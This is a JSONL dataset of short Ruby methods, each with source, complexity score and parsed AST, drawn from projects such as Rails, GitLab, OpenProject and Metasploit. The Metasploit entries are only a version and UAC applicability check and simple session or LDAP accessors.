+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/composite_test.rb","start_line":88,"raw_source":"def deserialize(value)\n if value =~ /\\(\"?([^\",]*)\"?,\"?([^\",]*)\"?\\)/\n FullAddress.new($1, $2)\n end\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"deserialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\(\\\"?([^\\\",]*)\\\"?,\\\"?([^\\\",]*)\\\"?\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FullAddress\"]},\"new\",{\"type\":\"nth_ref\",\"children\":[1]},{\"type\":\"nth_ref\",\"children\":[2]}]},null]}]}","id":"124fd679-909d-41ab-b384-d64c1c7f6494"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/pipeline/email_pipeline.rb","start_line":12,"raw_source":"def self.transform_context(context)\n super(context).merge(\n only_path: false,\n emailable_links: true,\n no_sourcepos: true\n )\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"transform_context\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"emailable_links\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_sourcepos\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"7371613e-490e-4338-ab03-92c3e2564104"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/arguments_forwarding.rb","start_line":255,"raw_source":"def non_splat_or_block_pass_lvar_references(body)\n body.each_descendant(:lvar, :lvasgn).filter_map do |lvar|\n parent = lvar.parent\n\n next if lvar.lvar_type? && FORWARDING_LVAR_TYPES.include?(parent.type)\n\n lvar.children.first\n end.uniq\n end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"non_splat_or_block_pass_lvar_references\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"each_descendant\",{\"type\":\"sym\",\"children\":[\"lvar\"]},{\"type\":\"sym\",\"children\":[\"lvasgn\"]}]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lvar\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lvar\"]},\"parent\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lvar\"]},\"lvar_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FORWARDING_LVAR_TYPES\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"type\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lvar\"]},\"children\"]},\"first\"]}]}]},\"uniq\"]}]}","id":"97974e58-3d00-46fe-ba82-bfc33e7b1a7b"}
+{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/asset_url_helper.rb","start_line":243,"raw_source":"def compute_asset_extname(source, options = {})\n return if options[:extname] == false\n extname = options[:extname] || ASSET_EXTENSIONS[options[:type]]\n if extname && File.extname(source) != extname\n extname\n else\n nil\n end\n end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"compute_asset_extname\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"extname\"]}]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"extname\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"extname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ASSET_EXTENSIONS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"extname\",{\"type\":\"lvar\",\"children\":[\"source\"]}]},\"!=\",{\"type\":\"lvar\",\"children\":[\"extname\"]}]}]},{\"type\":\"lvar\",\"children\":[\"extname\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"3fedd7b6-14fe-46b6-b5be-cfb3f9d16fd7"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/components/my/time_tracking/list_stats_component.rb","start_line":38,"raw_source":"def wrapper_key\n \"time-entries-list-stats-#{date.iso8601}\"\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wrapper_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"time-entries-list-stats-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"date\"]},\"iso8601\"]}]}]}]}","id":"d2331184-c693-434b-8760-37d8cf0ab277"}
+{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/work_packages/abstract_work_package.rb","start_line":338,"raw_source":"def expect_conflict_error_banner\n expect(page).to have_test_selector(\"op-primer-flash-message\",\n text: I18n.t(\"notice_locking_conflict_danger\"),\n visible: true) do |element|\n expect(element[\"data-banner-scheme\"]).to eq(\"danger\")\n end\n end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_conflict_error_banner\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_test_selector\",{\"type\":\"str\",\"children\":[\"op-primer-flash-message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"notice_locking_conflict_danger\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visible\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data-banner-scheme\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"str\",\"children\":[\"danger\"]}]}]}]}]}","id":"e5c7d7e3-baae-4616-ac22-13b14da3f729"}
+{"repo_name":"puma","file_path":"./repos/puma/test/test_log_writer.rb","start_line":45,"raw_source":"def test_null_log_does_nothing\n out, _ = capture_io do\n Puma::LogWriter.null.log(\"ready\")\n end\n\n assert_equal \"\", out\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_null_log_does_nothing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"out\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_io\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"LogWriter\"]},\"null\"]},\"log\",{\"type\":\"str\",\"children\":[\"ready\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"out\"]}]}]}]}","id":"acec1f1b-4065-4903-96ae-43b008c0c6ed"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/request_context.rb","start_line":51,"raw_source":"def lower_bounds_params(page)\n page.lower_bounds.each_with_object({}) do |(column, value), params|\n filter = filter_with_comparator(page, column)\n params[filter] = value\n end\n end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"lower_bounds_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"lower_bounds\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"send\",\"children\":[null,\"filter_with_comparator\",{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"column\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"6625e032-a2c6-4f84-8464-3e33e8462d43"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/open_project/reporting/cost_entry_xls_table.rb","start_line":112,"raw_source":"def multiple_unit_types_footer\n [\"\", \"\", show_result(query)]\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"multiple_unit_types_footer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[null,\"show_result\",{\"type\":\"send\",\"children\":[null,\"query\"]}]}]}]}","id":"d57f8a21-0db0-43f4-8383-151f6ac76547"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/models/category_group.rb","start_line":9,"raw_source":"def self.permission_types\n @permission_types ||= Enum.new(full: 1, create_post: 2, readonly: 3)\n end","complexity_score":2.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"permission_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@permission_types\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Enum\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"create_post\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"readonly\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}","id":"ae6ff108-31fb-455b-9085-77df5208f26a"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapter_test.rb","start_line":258,"raw_source":"def test_value_limit_violations_are_translated_to_specific_exception\n error = assert_raises(ActiveRecord::ValueTooLong) do\n Event.create(title: \"abcdefgh\")\n end\n\n assert_not_nil error.cause\n end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_value_limit_violations_are_translated_to_specific_exception\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ValueTooLong\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"abcdefgh\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"cause\"]}]}]}]}","id":"65777025-50dc-405f-846a-82c6cccbfcb1"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/bypassuac_windows_store_reg.rb","start_line":65,"raw_source":"def check\n version = get_version_info\n if version.build_number >= Msf::WindowsVersion::Win10_InitialRelease && !version.windows_server? && is_uac_enabled? && exists?('C:\\\\Windows\\\\System32\\\\WSReset.exe')\n return CheckCode::Appears\n end\n\n CheckCode::Safe\n end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"get_version_info\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"build_number\"]},\">=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"WindowsVersion\"]},\"Win10_InitialRelease\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"windows_server?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"is_uac_enabled?\"]}]},{\"type\":\"send\",\"children\":[null,\"exists?\",{\"type\":\"str\",\"children\":[\"C:\\\\Windows\\\\System32\\\\WSReset.exe\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}","id":"5a515141-7a86-4081-a2b1-d54d116cc2aa"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/sign_up_helpers.rb","start_line":20,"raw_source":"def confirm_email(new_user)\n new_user_token = User.find_by_email(new_user.email).confirmation_token\n\n visit user_confirmation_path(confirmation_token: new_user_token)\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"confirm_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_user_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by_email\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_user\"]},\"email\"]}]},\"confirmation_token\"]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"user_confirmation_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confirmation_token\"]},{\"type\":\"lvar\",\"children\":[\"new_user_token\"]}]}]}]}]}]}]}","id":"4e255e24-0baf-42f8-9f40-95f1878dfaaa"}
+{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/admin/type_configuration_form.rb","start_line":81,"raw_source":"def find_group_handle(label)\n find_group(label).find(\".group-handle\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_group_handle\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_group\",{\"type\":\"lvar\",\"children\":[\"label\"]}]},\"find\",{\"type\":\"str\",\"children\":[\".group-handle\"]}]}]}","id":"a883e1f2-50ad-409d-baf0-0f6ac14e0406"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/explain_test.rb","start_line":29,"raw_source":"def test_explain_with_options_as_strings\n explain = Author.where(id: 1).explain(\"VERBOSE\", \"ANALYZE\", \"FORMAT JSON\").inspect\n assert_match %r(EXPLAIN \\(VERBOSE, ANALYZE, FORMAT JSON\\) SELECT \"authors\"\\.\\* FROM \"authors\" WHERE \"authors\"\\.\"id\" = (?:\\$1 \\[\\[\"id\", 1\\]\\]|1)), explain\n assert_match %(QUERY PLAN), explain\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_explain_with_options_as_strings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"explain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"explain\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]},{\"type\":\"str\",\"children\":[\"ANALYZE\"]},{\"type\":\"str\",\"children\":[\"FORMAT JSON\"]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"EXPLAIN \\\\(VERBOSE, ANALYZE, FORMAT JSON\\\\) SELECT \\\"authors\\\"\\\\.\\\\* FROM \\\"authors\\\" WHERE \\\"authors\\\"\\\\.\\\"id\\\" = (?:\\\\$1 \\\\[\\\\[\\\"id\\\", 1\\\\]\\\\]|1)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"explain\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"QUERY PLAN\"]},{\"type\":\"lvar\",\"children\":[\"explain\"]}]}]}]}","id":"36e0b23e-d189-43e8-8587-5c294fd5f2f0"}
+{"repo_name":"sinatra","file_path":"./repos/sinatra/rack-protection/lib/rack/protection/frame_options.rb","start_line":32,"raw_source":"def call(env)\n status, headers, body = @app.call(env)\n headers['x-frame-options'] ||= frame_options if html? headers\n [status, headers, body]\n end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\"]},{\"type\":\"lvasgn\",\"children\":[\"headers\"]},{\"type\":\"lvasgn\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"html?\",{\"type\":\"lvar\",\"children\":[\"headers\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"x-frame-options\"]}]},{\"type\":\"send\",\"children\":[null,\"frame_options\"]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"5a892a56-7c5f-4f1c-b287-ad7b43458f6a"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/smb.rb","start_line":84,"raw_source":"def address\n @address ||= simple_client.peerhost\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"address\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple_client\"]},\"peerhost\"]}]}]}","id":"f3baca59-711a-4e41-99ed-1fff1f6181d2"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ldap/client.rb","start_line":32,"raw_source":"def naming_contexts\n @naming_contexts ||= search_root_dse[:namingcontexts]\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"naming_contexts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@naming_contexts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"search_root_dse\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namingcontexts\"]}]}]}]}","id":"938ca582-17d9-4506-9c54-1551f785ff72"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/overviews/app/components/overviews/project_custom_fields/side_panel_component.rb","start_line":44,"raw_source":"def render?\n User.current.allowed_in_project?(:view_project_attributes, @project) &&\n @project.project_custom_fields.visible.any?\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"render?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"view_project_attributes\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"project_custom_fields\"]},\"visible\"]},\"any?\"]}]}]}","id":"685c102d-a9fc-463b-8f3e-15f5aeceddad"}
+{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/access_control.rb","start_line":83,"raw_source":"def allow_actions(action_hash)\n permission_path = normalized_controller_action_string(action_hash)\n\n permissions.select { |p| p.controller_actions.include? permission_path }\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_actions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action_hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"permission_path\",{\"type\":\"send\",\"children\":[null,\"normalized_controller_action_string\",{\"type\":\"lvar\",\"children\":[\"action_hash\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permissions\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"controller_actions\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"permission_path\"]}]}]}]}]}","id":"cdc9abd3-3522-49bd-abd4-b480f3944e5a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/web_hooks_helpers.rb","start_line":75,"raw_source":"def save_hook(hook, entity)\n if hook.save\n present hook, with: entity\n else\n error!(\"Invalid url given\", 422) if hook.errors[:url].present?\n error!(\"Invalid branch filter given\", 422) if hook.errors[:push_events_branch_filter].present?\n error!(\"Custom headers validation failed\", 422) if hook.errors[:custom_headers].present?\n\n render_validation_error!(hook, 422)\n end\n end","complexity_score":25.88,"ast_json":"{\"type\":\"def\",\"children\":[\"save_hook\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hook\"]},{\"type\":\"arg\",\"children\":[\"entity\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"present\",{\"type\":\"lvar\",\"children\":[\"hook\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"entity\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"error!\",{\"type\":\"str\",\"children\":[\"Invalid url given\"]},{\"type\":\"int\",\"children\":[422]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"push_events_branch_filter\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"error!\",{\"type\":\"str\",\"children\":[\"Invalid branch filter given\"]},{\"type\":\"int\",\"children\":[422]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"errors\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"custom_headers\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"error!\",{\"type\":\"str\",\"children\":[\"Custom headers validation failed\"]},{\"type\":\"int\",\"children\":[422]}]},null]},{\"type\":\"send\",\"children\":[null,\"render_validation_error!\",{\"type\":\"lvar\",\"children\":[\"hook\"]},{\"type\":\"int\",\"children\":[422]}]}]}]}]}","id":"6f1064ce-0649-4381-a8e3-d9230db1b66a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/pipeline_base.rb","start_line":18,"raw_source":"def perform_filter(filter, doc, context, result)\n payload = default_payload(filter: filter.name, context: context, result: result)\n\n instrument Banzai::PipelineBase.filter_subscription_name, payload do\n filter.call(doc, context, result)\n end\n end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]},{\"type\":\"arg\",\"children\":[\"doc\"]},{\"type\":\"arg\",\"children\":[\"context\"]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[null,\"default_payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrument\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Banzai\"]},\"PipelineBase\"]},\"filter_subscription_name\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"doc\"]},{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}]}","id":"bb2c5f20-aedf-43b9-b82a-31d64091f467"}
